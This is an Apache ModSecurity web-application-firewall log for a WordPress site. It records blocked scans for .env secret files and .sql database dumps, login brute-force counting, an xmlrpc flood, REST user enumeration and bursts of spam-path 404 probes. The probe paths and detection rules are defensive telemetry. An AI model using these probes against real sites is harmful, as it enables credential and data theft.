[Mon May 25 16:43:15.082116 2026] [:error] [pid 62515:tid 62537] [client 43.228.157.67:45118] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "ahQLoxig0_XsOwmnrv_1CwAAANQ"]
[Mon May 25 16:43:21.847115 2026] [:error] [pid 3698:tid 3718] [client 43.228.157.67:36658] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/backup/database.sql"] [unique_id "ahQLqQtZBEwA4fyFLKPFDwAAARI"]
[Mon May 25 16:43:21.868861 2026] [:error] [pid 3698:tid 3705] [client 43.228.157.67:36664] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/data/dump.sql"] [unique_id "ahQLqQtZBEwA4fyFLKPFEAAAAQU"]
[Mon May 25 16:43:34.412028 2026] [:error] [pid 3698:tid 3700] [client 43.228.157.67:41162] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.docker"] [unique_id "ahQLtgtZBEwA4fyFLKPFFwAAAQA"]
[Mon May 25 16:44:44.734039 2026] [:error] [pid 62515:tid 62520] [client 45.32.67.165:57608] [client 45.32.67.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.32.67.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahQL_Big0_XsOwmnrv_1XAAAAMM"]
[Mon May 25 16:44:45.994247 2026] [:error] [pid 62515:tid 62523] [client 45.32.67.165:57608] [client 45.32.67.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.32.67.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahQL_Rig0_XsOwmnrv_1XQAAAMY"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 17:07:47.058365 2026] [:error] [pid 3698:tid 3700] [client 162.62.213.165:42674] [client 162.62.213.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahQRYwtZBEwA4fyFLKPMQQAAAQA"]
[Mon May 25 17:29:34.820693 2026] [:error] [pid 62515:tid 62540] [client 103.124.95.33:41880] [client 103.124.95.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.33, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahQWfhig0_XsOwmnrv8ARgAAANc"]
[Mon May 25 17:29:37.146542 2026] [:error] [pid 62515:tid 62529] [client 103.124.95.33:41880] [client 103.124.95.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.33, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahQWgRig0_XsOwmnrv8ASgAAAMw"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 19:08:33.739654 2026] [:error] [pid 62515:tid 62527] [client 182.253.14.92:23439] [client 182.253.14.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.253.14.92, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahQtsRig0_XsOwmnrv8hrQAAAMo"]
[Mon May 25 19:08:36.624976 2026] [:error] [pid 62515:tid 62537] [client 182.253.14.92:23439] [client 182.253.14.92] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahQttBig0_XsOwmnrv8hsAAAANQ"]
[Mon May 25 19:08:36.743950 2026] [:error] [pid 62515:tid 62523] [client 182.253.14.92:23439] [client 182.253.14.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.253.14.92, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahQttBig0_XsOwmnrv8hsQAAAMY"]
[Mon May 25 19:08:38.162424 2026] [:error] [pid 62426:tid 62446] [client 182.253.14.92:25369] [client 182.253.14.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.253.14.92, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahQttkj3D3Mo8ANpTRDsLgAAABA"]
[Mon May 25 19:08:39.540825 2026] [:error] [pid 62426:tid 62451] [client 182.253.14.92:25732] [client 182.253.14.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.253.14.92, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahQtt0j3D3Mo8ANpTRDsNwAAABU"]
[Mon May 25 19:08:41.054527 2026] [:error] [pid 62428:tid 62493] [client 182.253.14.92:26158] [client 182.253.14.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.253.14.92, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahQtuZNosGBa7mui3VQ6TAAAAIk"]
[Mon May 25 19:08:42.618530 2026] [:error] [pid 62428:tid 62504] [client 182.253.14.92:26677] [client 182.253.14.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.253.14.92, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahQtupNosGBa7mui3VQ6UAAAAJQ"]
[Mon May 25 19:08:42.618709 2026] [:error] [pid 62428:tid 62504] [client 182.253.14.92:26677] [client 182.253.14.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 182.253.14.92, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahQtupNosGBa7mui3VQ6UAAAAJQ"]
[Mon May 25 20:27:11.666057 2026] [:error] [pid 62428:tid 62490] [client 82.156.116.86:58240] [client 82.156.116.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahRAH5NosGBa7mui3VRUewAAAIY"]
[Mon May 25 20:47:56.391917 2026] [:error] [pid 62722:tid 62747] [client 65.108.2.171:12266] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ahRE_KM6ssnLWYf6CVBMEAAAAFc"]
[Mon May 25 20:47:58.868401 2026] [:error] [pid 62428:tid 62487] [client 65.108.2.171:12272] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ahRE_pNosGBa7mui3VRamAAAAIM"]
[Mon May 25 20:48:01.519066 2026] [:error] [pid 53791:tid 53811] [client 65.108.2.171:12274] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ahRFASCRhhNTD40Nf1UcvAAAAZI"]
[Mon May 25 20:48:03.882356 2026] [:error] [pid 62515:tid 62522] [client 43.135.144.126:46974] [client 43.135.144.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahRFAxig0_XsOwmnrv887QAAAMU"]
[Mon May 25 20:48:04.163503 2026] [:error] [pid 62515:tid 62538] [client 65.108.2.171:12276] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ahRFBBig0_XsOwmnrv887wAAANU"]
[Mon May 25 20:48:06.771193 2026] [:error] [pid 62722:tid 62734] [client 65.108.2.171:12564] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ahRFBqM6ssnLWYf6CVBMGwAAAEo"]
[Mon May 25 20:48:09.441852 2026] [:error] [pid 62428:tid 62491] [client 65.108.2.171:12572] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ahRFCZNosGBa7mui3VRaxAAAAIc"]
[Mon May 25 20:48:12.137700 2026] [:error] [pid 62515:tid 62517] [client 65.108.2.171:12582] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ahRFDBig0_XsOwmnrv89AgAAAMA"]
[Mon May 25 20:48:14.668732 2026] [:error] [pid 62515:tid 62524] [client 65.108.2.171:12584] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ahRFDhig0_XsOwmnrv89CQAAAMc"]
[Mon May 25 20:48:17.304261 2026] [:error] [pid 62515:tid 62519] [client 65.108.2.171:43766] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahRFERig0_XsOwmnrv89EAAAAMI"]
[Mon May 25 20:48:19.840728 2026] [:error] [pid 3698:tid 3721] [client 65.108.2.171:43776] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahRFEwtZBEwA4fyFLKPzOQAAARU"]
[Mon May 25 20:48:22.552648 2026] [:error] [pid 3698:tid 3714] [client 65.108.2.171:43786] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ahRFFgtZBEwA4fyFLKPzQAAAAQ4"]
[Mon May 25 20:48:25.317057 2026] [:error] [pid 53791:tid 53817] [client 65.108.2.171:55838] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ahRFGSCRhhNTD40Nf1Uc6gAAAZg"]
[Mon May 25 20:48:28.134443 2026] [:error] [pid 62427:tid 62471] [client 65.108.2.171:55842] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ahRFHPMUa83fc4GDyBx9wQAAAU4"]
[Mon May 25 20:48:30.721755 2026] [:error] [pid 62426:tid 62453] [client 65.108.2.171:55856] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ahRFHkj3D3Mo8ANpTRABlwAAABc"]
[Mon May 25 20:48:33.486564 2026] [:error] [pid 62426:tid 62434] [client 65.108.2.171:55870] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ahRFIUj3D3Mo8ANpTRABmQAAAAQ"]
[Mon May 25 20:48:36.372069 2026] [:error] [pid 62515:tid 62533] [client 65.108.2.171:13566] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ahRFJBig0_XsOwmnrv89IAAAANA"]
[Mon May 25 20:48:39.126496 2026] [:error] [pid 62515:tid 62531] [client 65.108.2.171:13570] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ahRFJxig0_XsOwmnrv89JAAAAM4"]
[Mon May 25 20:48:41.995195 2026] [:error] [pid 53791:tid 53799] [client 65.108.2.171:13574] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ahRFKSCRhhNTD40Nf1Uc9QAAAYY"]
[Mon May 25 20:48:44.709712 2026] [:error] [pid 62515:tid 62534] [client 65.108.2.171:13584] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahRFLBig0_XsOwmnrv89OwAAANE"]
[Mon May 25 20:48:47.520620 2026] [:error] [pid 62515:tid 62535] [client 65.108.2.171:58266] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ahRFLxig0_XsOwmnrv89RAAAANI"]
[Mon May 25 20:48:50.267520 2026] [:error] [pid 3698:tid 3701] [client 65.108.2.171:58270] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ahRFMgtZBEwA4fyFLKPzWAAAAQE"]
[Mon May 25 20:49:40.924759 2026] [:error] [pid 62515:tid 62533] [client 65.108.2.171:62950] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ahRFZBig0_XsOwmnrv89ogAAANA"]
[Mon May 25 20:49:43.554886 2026] [:error] [pid 62428:tid 62500] [client 65.108.2.171:62956] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ahRFZ5NosGBa7mui3VRbYgAAAJA"]
[Mon May 25 20:49:46.334219 2026] [:error] [pid 62515:tid 62528] [client 65.108.2.171:2584] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ahRFahig0_XsOwmnrv89sAAAAMs"]
[Mon May 25 20:49:49.043168 2026] [:error] [pid 62428:tid 62498] [client 65.108.2.171:2594] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ahRFbZNosGBa7mui3VRbbgAAAI4"]
[Mon May 25 20:49:51.786586 2026] [:error] [pid 62428:tid 62488] [client 65.108.2.171:2610] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ahRFb5NosGBa7mui3VRbfQAAAIQ"]
[Mon May 25 20:49:54.364406 2026] [:error] [pid 62427:tid 62474] [client 65.108.2.171:2626] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ahRFcvMUa83fc4GDyBx9_gAAAVE"]
[Mon May 25 20:49:56.931792 2026] [:error] [pid 62427:tid 62459] [client 65.108.2.171:30422] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ahRFdPMUa83fc4GDyBx-CQAAAUI"]
[Mon May 25 20:49:59.455022 2026] [:error] [pid 62515:tid 62519] [client 65.108.2.171:30434] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ahRFdxig0_XsOwmnrv89vgAAAMI"]
[Mon May 25 20:50:02.056900 2026] [:error] [pid 62428:tid 62488] [client 65.108.2.171:30446] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ahRFepNosGBa7mui3VRbmgAAAIQ"]
[Mon May 25 20:50:04.650502 2026] [:error] [pid 62515:tid 62541] [client 65.108.2.171:30454] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ahRFfBig0_XsOwmnrv890QAAANg"]
[Mon May 25 20:50:07.249554 2026] [:error] [pid 62428:tid 62507] [client 65.108.2.171:35612] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ahRFf5NosGBa7mui3VRbqwAAAJc"]
[Mon May 25 20:50:09.963398 2026] [:error] [pid 3698:tid 3701] [client 65.108.2.171:35626] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ahRFgQtZBEwA4fyFLKPzjwAAAQE"]
[Mon May 25 20:50:12.520500 2026] [:error] [pid 62427:tid 62459] [client 65.108.2.171:35636] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ahRFhPMUa83fc4GDyBx-KQAAAUI"]
[Mon May 25 20:50:15.130471 2026] [:error] [pid 3698:tid 3714] [client 65.108.2.171:31126] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ahRFhwtZBEwA4fyFLKPzlQAAAQ4"]
